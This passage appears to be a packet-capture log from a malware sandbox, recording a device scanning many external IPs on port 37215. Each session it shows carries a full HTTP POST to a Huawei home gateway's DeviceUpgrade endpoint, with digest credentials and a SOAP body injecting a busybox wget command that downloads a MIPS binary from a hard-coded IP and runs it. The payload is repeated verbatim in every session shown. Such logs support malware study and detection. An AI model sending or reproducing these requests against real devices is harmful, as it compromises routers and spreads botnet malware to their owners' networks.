HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	57732	156.1.199.155	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260685921 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	53226	197.146.75.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260736942 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	54010	41.131.43.249	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260926008 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	55978	197.175.191.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260976076 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	57540	156.172.199.73	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261023045 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	44092	41.191.51.126	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261075974 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	48334	197.50.165.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261120081 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	57668	41.223.205.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261158943 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	42426	156.177.250.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261204004 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	46470	41.215.248.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261255980 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	35684	197.27.178.48	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261312008 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 